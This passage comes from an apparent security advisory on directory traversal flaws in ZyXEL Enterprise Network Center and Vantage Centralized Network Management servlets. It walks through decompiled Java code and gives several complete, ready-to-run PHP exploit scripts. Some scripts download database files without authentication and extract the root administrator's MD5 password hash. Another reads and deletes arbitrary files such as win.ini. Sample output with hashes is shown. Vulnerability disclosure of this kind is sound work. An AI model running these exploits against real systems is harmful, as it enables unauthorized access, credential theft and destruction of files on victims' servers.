... package com.zyxel.midas.ta.servlet; import com.zyxel.midas.core.common.util.SystemUtil; import com.zyxel.midas.ta.util.FileUtils; import java.io.File; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class FileDownloadServlet extends HttpServlet { public FileDownloadServlet() { } protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 47*/ String uri = request.getRequestURI(); <------------------------------------ /* 48*/ String filename = getFileNameFrom(uri); <-------------------------------------- /* 50*/ logger.info((new StringBuilder()).append("Received download file ").append(filename).append(" request").toString()); /* 53*/ File sourceFile = new File(filename); /* 55*/ if(sourceFile.exists()) { /* 56*/ response.setContentType("octet-stream"); /* 57*/ response.setContentLength((int)sourceFile.length()); /* 58*/ logger.debug((new StringBuilder()).append("The size of file ").append(filename).append(" is ").append(sourceFile.length()).toString()); /* 61*/ try { /* 61*/ FileUtils.copyFile(sourceFile, response.getOutputStream()); <------------------------------------- } /* 62*/ catch(IOException e) { /* 63*/ logger.error((new StringBuilder()).append("Exception copy file:").append(e).toString()); } } else { /* 66*/ logger.error((new StringBuilder()).append("File not exists ").append(filename).toString()); } } private String getFileNameFrom(String uri) { /* 71*/ String strs[] = uri.split("/"); /* 72*/ String filename = strs[strs.length - 1]; /* 73*/ return (new StringBuilder()).append(SystemUtil.getDataPath()).append(FIRMWARE_FILE_FOLDER).append(File.separator).append(filename).toString(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 80*/ processRequest(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 87*/ processRequest(request, response); } private static final Logger logger = LoggerFactory.getLogger(com/zyxel/midas/ta/servlet/FileDownloadServlet); private static final String CONTENT_TYPE = "octet-stream"; private static final String FIRMWARE_FILE_FOLDER; static { /* 41*/ FIRMWARE_FILE_FOLDER = (new StringBuilder()).append(File.separator).append("firmware").toString(); } } ...
On line 47 the request uri is received; On line 48 the request uri is processed by the getFileNameFrom() function, but only the ‘/‘ slash is considered, not ‘\‘. On line 61, the file is returned to the attacker.
Proof of Concept
ZyXEL Enterprise Network Center 1.3.218.61 FileDownloadServlet Request URI Directory Traversal Vulnerability PoC
<?php error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php 9sg_zyxel_ii.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking ...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request,$is_multipart) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, )); if ($is_multipart){ curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, "Content-Type: multipart/form-data; boundary=---------------------------105432481426097" )); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "AV Report Scheduler"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 443; function isValidMd5($md5 ='') { return preg_match('/^[a-f0-9]{32}$/', $md5); } $url = "https://$host:$port/enc/TR069/download/;\\..\\..\\..\\..\\pgsql\\data\\pg_xlog\\000000010000000000000001"; $out = _s($url, 0, "", "",0); //print($out."\n"); $tmp = explode("Content-Length:",$out); $tmp = explode("\n",$tmp[1]); $cl = (int)trim($tmp[0]); print("[*] Received ".$cl." bytes\n"); if ((strpos($out,"200 OK")) and ($cl<>0)){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data1.db",$tmp[1]); print("[*] data1.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data1.db ...\n"); $tmp = file_get_contents("data1.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } $url = "https://$host:$port/enc/TR069/download/;\\..\\..\\..\\..\\pgsql\\data\\pg_xlog\\000000010000000000000000"; $out = _s($url, 0, "", "",0); //print($out."\n"); $tmp = explode("Content-Length:",$out); $tmp = explode("\n",$tmp[1]); $cl = (int)trim($tmp[0]); print("[*] Received ".$cl." bytes\n"); if ((strpos($out,"200 OK")) and ($cl<>0)){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data2.db",$tmp[1]); print("[*] data1.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data2.db ...\n"); $tmp = file_get_contents("data2.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } print("[*] Done. If the script does not show the hash as intended, you could need to analyze the files manually."); ?>
ZyXEL Vantage Centralized Network Management Vulnerabilities details
When ZyXEL Vantage Centralized Network Management is installed on Windows, a service called “Vantage CNM”, an Apache Tomcat instance, which listens on default public ports 8080 (tcp/http) and 443 (tcp/https). It runs with NT AUTHORITY\SYSTEM privileges.
FileDownloadServlet Directory Traversal
Using an unauthenticated connection it is possible to visit the ‘FileDownloadServlet‘ servlet which suffers of a directory
traversal vulnerability into the request URI. By ex. downloading ‘account.MYD‘, a MySQL database table, it is possible to read the MD5 password hash of the ‘root‘ web application administrator.
Once the hash is cracked, the remote attacker could then login to the affected application.
Vulnerable code (C:\Program Files (x86)\ZyXEL\Vantage CNM 3.2\tomcat\webapps\vantage\WEB-INF\web.xml):
... <servlet> <servlet-name>FileDownloadServlet</servlet-name> <servlet-class>com.zyxel.vantage.protocol.ta.tr069.servlet.FileDownloadServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> ... ... <servlet-mapping> <servlet-name>FileDownloadServlet</servlet-name> <url-pattern>/TR069/download/*</url-pattern> </servlet-mapping> ...
Let’s look into the decompiled com.zyxel.vantage.protocol.ta.tr069.servlet.FileDownloadServlet class:
... package com.zyxel.vantage.protocol.ta.tr069.servlet; import com.zyxel.vantage.protocol.ta.tr069.assembler.zld.firmware.FirmwareDownloadStatusRegistry; import com.zyxel.vantage.util.system.SystemUtil; import com.zyxel.vantage.util.tools.FileUtils; import com.zyxel.vantage.util.tools.MACUtils; import java.io.File; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.*; import org.apache.log4j.Logger; public class FileDownloadServlet extends HttpServlet { public FileDownloadServlet() { } protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String filename; File sourceFile; long sgid; /* 56*/ String uri = request.getRequestURI(); <----------------------------------------- /* 57*/ filename = getFileNameFrom(uri);<--------------------------------------- /* 59*/ if(logger.isDebugEnabled()) /* 60*/ logger.debug((new StringBuilder()).append("Received download file ").append(filename).append(" request").toString()); /* 63*/ sourceFile = new File(filename); /* 65*/ if(!sourceFile.exists()) /* 66*/ break MISSING_BLOCK_LABEL_242; /* 66*/ response.setContentType("octet-stream"); /* 67*/ response.setContentLength((int)sourceFile.length()); /* 68*/ if(logger.isDebugEnabled()) /* 69*/ logger.debug((new StringBuilder()).append("The size of file ").append(filename).append(" is ").append(sourceFile.length()).toString()); /* 72*/ sgid = getSgidFrom(request); <-------------------------------------- /* 74*/ FirmwareDownloadStatusRegistry.getInstance().register(sgid); /* 77*/ FileUtils.copyFile(sourceFile, response.getOutputStream()); <---------------------------------------- /* 81*/ logger.warn("The connection downloading firmware is disconnected"); /* 82*/ FirmwareDownloadStatusRegistry.getInstance().remove(sgid); /* 83*/ break MISSING_BLOCK_LABEL_268; IOException e; /* 78*/ e; /* 79*/ logger.error(e.getMessage()); /* 81*/ logger.warn("The connection downloading firmware is disconnected"); /* 82*/ FirmwareDownloadStatusRegistry.getInstance().remove(sgid); /* 83*/ break MISSING_BLOCK_LABEL_268; Exception exception; /* 81*/ exception; /* 81*/ logger.warn("The connection downloading firmware is disconnected"); /* 82*/ FirmwareDownloadStatusRegistry.getInstance().remove(sgid); /* 82*/ throw exception; /* 85*/ logger.error((new StringBuilder()).append("Can not file ").append(filename).toString()); } private long getSgidFrom(HttpServletRequest request) { /* 90*/ String userAgentValue = request.getHeader("User-Agent"); /* 92*/ if(logger.isDebugEnabled()) /* 93*/ logger.debug((new StringBuilder()).append("The User-Agent header from download request is ").append(userAgentValue).toString()); /* 97*/ String mac = userAgentValue.trim().split("/")[1]; /* 98*/ return MACUtils.toLong(mac).longValue(); } private String getFileNameFrom(String uri) { /* 102*/ String strs[] = uri.split("/"); <-------------------------------------- /* 103*/ String filename = strs[strs.length - 1]; /* 104*/ return (new StringBuilder()).append(FIRMWARE_FILE_FOLDER).append(File.separator).append(filename).toString(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 111*/ processRequest(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 118*/ processRequest(request, response); } private static final Logger logger = Logger.getLogger(com/zyxel/vantage/protocol/ta/tr069/servlet/FileDownloadServlet); private static final String CONTENT_TYPE = "octet-stream"; private static final String FIRMWARE_FILE_FOLDER; static { /* 44*/ FIRMWARE_FILE_FOLDER = (new StringBuilder()).append(SystemUtil.getAppHome()).append(File.separator).append("data").append(File.separator).append("zld").append(File.separator).append("firmware").toString(); } } ...
On line 56, the request uri is received; at line 57 it is then passed to getFileNameFrom(). On line 102, only ‘/‘ is considered. No other sanitation here. On line 72 there is a check on the User-Agent field, you have to set it properly, otherwise the Java code will return error. On line 77, the pointed file is returned to the attacker.
Proof of Concept
ZyXEL Vantage Centralized Network Management 3.2 FileDownloadServlet Directory Traversal Vulnerability PoC
C:\php>php Vantage_FileDownloadServlet_PoC.PHP 192.168.0.1
[*] Received 160 byte(s)
[*] Saved to data3.db
root:a33d57efba4c0d808b5d16532f9d1517
C:\php>
<?php $host = $argv[1]; $port = 8080; function isValidMd5($md5 ='') { return preg_match('/^[a-f0-9]{32}$/', $md5); } $pk="GET /vantage/TR069/download/;\\..\\..\\..\\..\\mysql\\data\\vantage\\account.MYD HTTP/1.0\r\n". "User-Agent: 012345678901/012345678901\r\n". "Host: ".$host."\r\n". "Connection: Close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,1); fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); //echo $out; $tmp=explode("Content-Length:",$out); $tmp=explode("\n",$tmp[1]); $cl=(int)trim($tmp[0]); print("[*] Received ".$cl." byte(s)\n"); if ($cl > 0){ $tmp=explode("\r\n\r\n",$out); file_put_contents("data3.db",$tmp[1]); print("[*] Saved to data3.db\n"); $tmp=explode("root\x20",$tmp[1]); $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[1][$i]; } if (isValidMd5($hash)){ echo "root:".$hash; } else { print("[!] You have to analyze the file manually."); } } else { print("[!] File not found.\n"); print($out); } ?>
GUIDownloadServlet Request URI Directory Traversal
Using an unauthenticated connection it is possible to visit the ‘GUIDownloadServlet‘ servlet which suffers of a directory traversal vulnerability into the request URI, which allows to to read and subsequently delete an arbitary file. Combining the directory traversal specifiers with alternate data streams, it is possible to avoid the deletion. By ex. downloading ‘account.MYD‘, a MySQL database table, it is possible to read the MD5 password hash of the ‘root’ web application administrator.
Once the hash is cracked, the remote attacker could then login to the affected application.
By pointing the request uri to an arbitrary operating system file, it possible to create denial of service conditions (DoS).
Vulnerable code (C:\Program Files (x86)\ZyXEL\Vantage CNM 3.2\tomcat\webapps\vantage\WEB-INF\web.xml):
... <servlet> <servlet-name>GUIDownloadServlet</servlet-name> <servlet-class>com.zyxel.vantage.web.common.DownloadServlet</servlet-class> </servlet> ... ... <servlet-mapping> <servlet-name>GUIDownloadServlet</servlet-name> <url-pattern>*.down</url-pattern> </servlet-mapping> ...
Let’s look at the decompiled com.zyxel.vantage.web.common.DownloadServlet class:
... package com.zyxel.vantage.web.common; import com.zyxel.vantage.common.data.SystemInfo; import com.zyxel.vantage.util.system.SystemUtil; import com.zyxel.vantage.util.tools.StackTraceLogger; import java.io.*; import java.net.URLDecoder; import java.net.URLEncoder; import javax.servlet.ServletException; import javax.servlet.http.*; import org.apache.log4j.Logger; public class DownloadServlet extends HttpServlet { public DownloadServlet() { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 55*/ service(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 60*/ service(request, response); } protected void service(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { File inputFile; OutputStream output; FileInputStream fis; /* 66*/ boolean isIE = "IE".equals(getBrowserName(request)); /* 68*/ response.setLocale(SystemInfo.getInstance().getSystemLocale()); /* 69*/ String uri = request.getRequestURI(); <------------------------------------------------- /* 70*/ String str = uri.substring(uri.lastIndexOf('/') + 1, uri.length()); <----------------------------- /* 71*/ if(logger.isDebugEnabled()) { /* 72*/ logger.debug((new StringBuilder()).append("Download uri:").append(uri).toString()); /* 73*/ logger.debug((new StringBuilder()).append("Download String:").append(str).toString()); } /* 75*/ int index = str.lastIndexOf('_'); <------------------------------------------------- /* 76*/ String displayName = str.substring(0, index); /* 77*/ displayName = URLDecoder.decode(displayName, "utf-8"); /* 78*/ String storeFileName = str.substring(index + 1, str.length() - 5); <----------------------------------- /* 79*/ response.setContentType("application/x-download"); /* 81*/ if(isIE) /* 82*/ response.addHeader("Content-Disposition", (new StringBuilder()).append("attachment;filename=").append(URLEncoder.encode(displayName, "utf-8")).toString()); /* 84*/ else /* 84*/ response.addHeader("Content-Disposition", (new StringBuilder()).append("attachment;filename=").append(new String(displayName.getBytes("utf-8"), "ISO-8859-1")).toString()); /* 87*/ String path = (new StringBuilder()).append(SystemUtil.getWebAppHome()).append(File.separator).append("temp").append(File.separator).append(storeFileName).toString(); <------------------------------------------ /* 88*/ if(logger.isDebugEnabled()) /* 89*/ logger.debug((new StringBuilder()).append("Download file: ").append(path).toString()); /* 91*/ inputFile = new File(path); <------------------------------------------- /* 92*/ output = null; /* 93*/ fis = null; /* 95*/ output = response.getOutputStream(); /* 96*/ fis = new FileInputStream(inputFile); /* 98*/ byte b[] = new byte[1024]; /* 99*/ for(int i = 0; (i = fis.read(b)) > 0;) /* 101*/ output.write(b, 0, i); /* 103*/ output.flush(); /* 107*/ if(fis != null) /* 108*/ fis.close(); /* 110*/ if(output != null) /* 111*/ output.close(); /* 113*/ inputFile.delete(); /* 114*/ break MISSING_BLOCK_LABEL_500; Exception e; /* 104*/ e; /* 105*/ StackTraceLogger.logStackTrace(logger, e); /* 107*/ if(fis != null) /* 108*/ fis.close(); /* 110*/ if(output != null) /* 111*/ output.close(); /* 113*/ inputFile.delete(); /* 114*/ break MISSING_BLOCK_LABEL_500; Exception exception; /* 107*/ exception; /* 107*/ if(fis != null) /* 108*/ fis.close(); /* 110*/ if(output != null) /* 111*/ output.close(); /* 113*/ inputFile.delete(); /* 113*/ throw exception; } public String getBrowserName(HttpServletRequest request) { /* 118*/ String browserName = null; /* 119*/ String userAgent = request.getHeader("user-agent"); /* 120*/ if(userAgent.indexOf("MSIE") > -1) /* 121*/ browserName = "IE"; /* 123*/ else /* 123*/ browserName = "FIREFOX"; /* 125*/ return browserName; } public static final String BROWSER_IE = "IE"; public static final String BROWSER_FF = "FIREFOX"; private static final long serialVersionUID = 0xf79e0cc4bad298c3L; private static final Logger logger = Logger.getLogger(com/zyxel/vantage/web/common/DownloadServlet); } ...
At line 69, the request uri is received;
At line 70, all before ‘/‘ is stripped, note that it is possible to use ‘\‘;
At line 75 and 79, all before ‘_‘ is stripped and the ‘.down‘ extension is truncated, the resulting string is carried by the ‘storeFileName‘ variable;
On line 87 ‘storeFileName‘ is concatenated into ‘path‘; On lines 91/111 the pointed file is returned to the attacker; On line 113, the file is deleted.
Proof of Concept
The proof of concept is a 2 step exploit:
- Password hash disclosure
- File Reading And Deletion
Password hash disclosure
ZyXEL Vantage Centralized Network Management 3.2 GUIDownloadServlet Request URI Directory Traversal Arbitrary File Reading And Deletion PoC
Usage:
C:\php>GUIDownloadServlet_Pass.php 192.168.0.1
[*] Saved to data4.db
root:d33d57efba4c05808b5d16532f9d1567
C:\php>
<?php $host = $argv[1]; $port = 8080; function isValidMd5($md5 ='') { return preg_match('/^[a-f0-9]{32}$/', $md5); } $pk="GET /vantage/a%2fa%2fa%2fa%2fa%2fa_..\\..\\..\\..\\mysql\\data\\vantage\\account.MYD::\$data.down HTTP/1.0\r\n". "User-Agent: 1\r\n". "Host: ".$host."\r\n". "Connection: Close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,1); fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); //echo $out; $tmp=explode("\r\n\r\n",$out); file_put_contents("data4.db",$tmp[1]); print("[*] Saved to data4.db\n"); $tmp=explode("root\x20",$tmp[1]); $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[1][$i]; } if (isValidMd5($hash)){ echo "root:".$hash; } else { print("[!] You have to analyze the file manually."); } ?>
File Reading And Deletion
ZyXEL Vantage Centralized Network Management 3.2 GUIDownloadServlet Request URI Directory Traversal Arbitrary File Reading And Deletion PoC
Usage:
C:\php>php File_Reading_And_Deletion_PoC.php 192.168.0.1
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment;filename=a/a/a/a/a/a/a/a/a
Content-Type: application/x-download;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Mar 2016 12:59:05 GMT
Connection: close
[SysVals]
WindowPlacementData=048485454123
C:\php>php File_Reading_And_Deletion_PoC.php 192.168.0.1
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment;filename=a/a/a/a/a/a/a/a/a
Content-Type: application/x-download;charset=ISO-8859-1
Content-Language: en
Content-Length: 0
Date: Wed, 23 Mar 2016 12:59:06 GMT
Connection: close
C:\php>
<?php $host = $argv[1]; $port = 8080; $pk="GET /vantage/a%2fa%2fa%2fa%2fa%2fa%2fa%2fa%2fa_..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini.down HTTP/1.0\r\n". "User-Agent: 1\r\n". "Host: ".$host."\r\n". "Connection: Close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,1); fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); echo $out; ?>